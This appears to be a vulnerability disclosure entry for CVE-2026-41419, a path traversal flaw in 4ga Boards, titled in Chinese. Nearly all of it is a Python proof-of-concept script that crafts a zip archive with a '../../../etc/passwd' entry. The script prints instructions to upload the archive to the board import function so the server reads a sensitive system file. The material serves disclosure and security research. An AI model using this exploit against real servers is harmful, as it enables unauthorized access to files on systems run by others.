CVE-2026-41419 4ga Boards路径遍历漏洞

import zipfile import os # Create a malicious zip file to demonstrate the path traversal # The file inside the zip will have a name pointing to a sensitive file on the server (e.g., /etc/passwd) filename = "malicious_boards_export.zip" with zipfile.ZipFile(filename, 'w') as zf: # Zinfo object for the file with path traversal # This attempts to read /etc/passwd on the server when imported zinfo = zipfile.ZipInfo("../../../etc/passwd") zinfo.compress_type = zipfile.ZIP_DEFLATED # Add dummy content, as the server reads the file from the disk, not this content zf.writestr(zinfo, "This content is ignored, server reads the target file.") print(f"[+] PoC file generated: {filename}") print("[+] Upload this file to the 4ga Boards import function to trigger the vulnerability.")